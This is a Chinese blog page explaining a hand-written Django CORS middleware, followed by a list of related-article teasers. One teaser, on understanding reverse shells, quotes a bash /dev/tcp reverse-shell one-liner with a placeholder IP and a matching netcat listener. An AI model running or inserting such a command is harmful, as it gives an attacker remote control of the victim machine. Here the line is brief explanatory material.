1. class MiddlewareMixin(object):
  2. def __init__(self, get_response=None):
  3. self.get_response = get_response
  4. super(MiddlewareMixin, self).__init__()
  5.  
  6. def __call__(self, request):
  7. response = None
  8. if hasattr(self, 'process_request'):
  9. response = self.process_request(request)
  10. if not response:
  11. response = self.get_response(request)
  12. if hasattr(self, 'process_response'):
  13. response = self.process_response(request, response)
  14. return response
  15.  
  16. class CORSMiddleware(MiddlewareMixin):
  17. def process_response(self, request, response):
  18. # 添加响应头
  19.  
  20. # 允许你的域名来获取我的数据
  21. response['Access-Control-Allow-Origin'] = "*"
  22.  
  23. # 允许你携带Content-Type请求头
  24. response['Access-Control-Allow-Headers'] = "Content-Type"
  25.  
  26. # 允许你发送DELETE,PUT
  27. response['Access-Control-Allow-Methods'] = "DELETE,PUT"
  28.  
  29. return response

在settings.py文件中添加中间件

前后端分离开发

或导入

  1. from django.utils.deprecation import MiddlewareMixin

查找MiddlewareMixin方法:1 .在setting.py文件中,随便找一个中间件

              2.查看父类

              3.查看父类所在.py文件的导入模块

优化

  1. class MiddlewareMixin(object):
  2. def __init__(self, get_response=None):
  3. self.get_response = get_response
  4. super(MiddlewareMixin, self).__init__()
  5.  
  6. def __call__(self, request):
  7. response = None
  8. if hasattr(self, 'process_request'):
  9. response = self.process_request(request)
  10. if not response:
  11. response = self.get_response(request)
  12. if hasattr(self, 'process_response'):
  13. response = self.process_response(request, response)
  14. return response
  15.  
  16. class CORSMiddleware(MiddlewareMixin):
  17. def process_response(self, request, response):
  18. # 添加响应头
  19.  
  20. # 允许你的域名来获取我的数据
  21. response['Access-Control-Allow-Origin'] = "*"
  22.  
  23. if request.method == "OPTIONS":
  24. # 允许你携带Content-Type请求头
  25. response['Access-Control-Allow-Headers'] = "Content-Type"
  26. # 允许你发送DELETE,PUT
  27. response['Access-Control-Allow-Methods'] = "DELETE,PUT"
  28.  
  29. return response

cors中间件的更多相关文章

  1. .Net Core Cors中间件解析

    一.同源策略和资源跨域共享 1.同源策略 同源策略,它是由Netscape提出的一个著名的安全策略.现在所有支持JavaScript 的浏览器都会使用这个策略.所谓同源是指,域名,协议,端口相同. 1 ...

  2. 数据库表设计时一对一关系存在的必要性 数据库一对一、一对多、多对多设计 面试逻辑题3.31 sql server 查询某个表被哪些存储过程调用 DataTable根据字段去重 .Net Core Cors中间件解析 分析MySQL中哪些情况下数据库索引会失效

    数据库表设计时一对一关系存在的必要性 2017年07月24日 10:01:07 阅读数:694 在表设计过程中,我无意中觉得一对一关系觉得好没道理,直接放到一张表中不就可以了吗?真是说,网上信息什么都 ...

  3. .Net Core 3.0 Api json web token 中间件签权验证和 Cors 中间件处理跨域请求

    第一步:在Nuget上安装"Microsoft.AspNet.WebApi.Cors"包,并对api controller使用[EnableCors]特性以及Microsoft.A ...

  4. Laravel增加CORS中间件完成跨域请求

    原文地址: 跨域的请求 出于安全性的原因,浏览器会限制 Script 中的跨域请求.由于 XMLHttpRequest 遵循同源策略,所有使用 XMLHttpRequest 构造 HTTP 请求的应用 ...

  5. asp.net core cors中间件

    public class CorsMiddleware { private readonly RequestDelegate _next; public CorsMiddleware(RequestD ...

  6. HTTP层 —— 中间件

    1.简介 HTTP 中间件为过滤进入应用的 HTTP 请求提供了一套便利的机制.例如,Laravel 内置了一个中间件来验证用户是否经过授权,如果用户没有经过授权,中间件会将用户重定向到登录页面,否则 ...

  7. 第41章 CORS - Identity Server 4 中文文档(v1.0.0)

    第41章 CORS IdentityServer中的许多端点将通过基于JavaScript的客户端的Ajax调用进行访问.鉴于IdentityServer最有可能托管在与这些客户端不同的源上,这意味着 ...

  8. ASP.NET Core 配置跨域(CORS)

    1.安装程序CORS程序包 Install-Package Microsoft.AspNetCore.Mvc.Cors 一般默认都带了此程序包的 2.配置CORS服务 在 Startup类,Confi ...

  9. cors跨域问题

    同源策略: 是由NetScape提出的著名的安全策略,所有支持javaScript的浏览器都使用这个策略.同源策略限制了一个源中加载文本或脚本与来自其它源中资源的交互方式. IE特例: 授信范围(Tr ...

随机推荐

  1. P1006 输出第二个整数

    题目描述 输入三个整数,整数之间由一个空格分隔,整数是32位有符号整数.把第二个输入的整数输出. 输入格式 输入三个整数,整数之间由一个空格分隔,整数是32位有符号整数. 输出格式 输出输入的三个整数 ...

  2. 机器学习——HMM & CRF

    整理自: https://blog.csdn.net/woaidapaopao/article/details/77806273?locationnum=9&fps=1 HMM CRF HMM ...

  3. Linux 内核释放函数和 kobject 类型

    讨论中仍然缺失的一个重要事情是当一个 kobject 的引用计数到 0 时会发生什么. 创建 kobject 的代码通常不知道什么时候要发生这个情况; 如果它知道, 在第一位使用一个引 用计数就没有意 ...

  4. C++动态数组中的C6385, C6386警告

    警告 C6385 从“m”中读取的数据无效: 可读大小为“col*sizeof(int)”个字节,但可能读取了“8”个字节. 警告 C6386 写入到“m”时缓冲区溢出: 可写大小为“col*size ...

  5. 【hdu 1849】Rabbit and Grass

    Time Limit: 1000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s) ...

  6. SpringBoot-Swagger整合zuul智能列表

    SpringBoot-Swagger整合zuul智能列表 简介 可能大家都有用过swagger,可以通过ui页面显示接口信息,快速和前端进行联调. 现在基本都是多模块微服务化,每个服务都有这样的ui页 ...

  7. 反弹shell理解

    靶机 bash -i >& /dev/tcp/[ip]/[port1] 0>&1 攻击机 nc -vvlp [port1] 靶机中把 >&输成 > &a ...

  8. Visio常规图表

    包含的就是一些形状模块 比如框图就包含了“方块”以及“具有凸起效果的块”两个形状模版 打开visio 新建的时候选择常规类别 具有透视效果的框图 下面是基本操作: 这是自动调整大小的框 不能调整大小 ...

  9. alpha week 2/2 Scrum立会报告+燃尽图 06

    此作业要求参见:https://edu.cnblogs.com/campus/nenu/2019fall/homework/9803 小组名称:“组长”组 组长:杨天宇 组员:魏新,罗杨美慧,王歆瑶, ...

  10. $Noip2014/Luogu2312$ 解方程

    $Luogu$ $Sol$ 枚举解+秦九韶公式计算+取模. $Code$ #include<iostream> #include<cstdio> #include<cst ...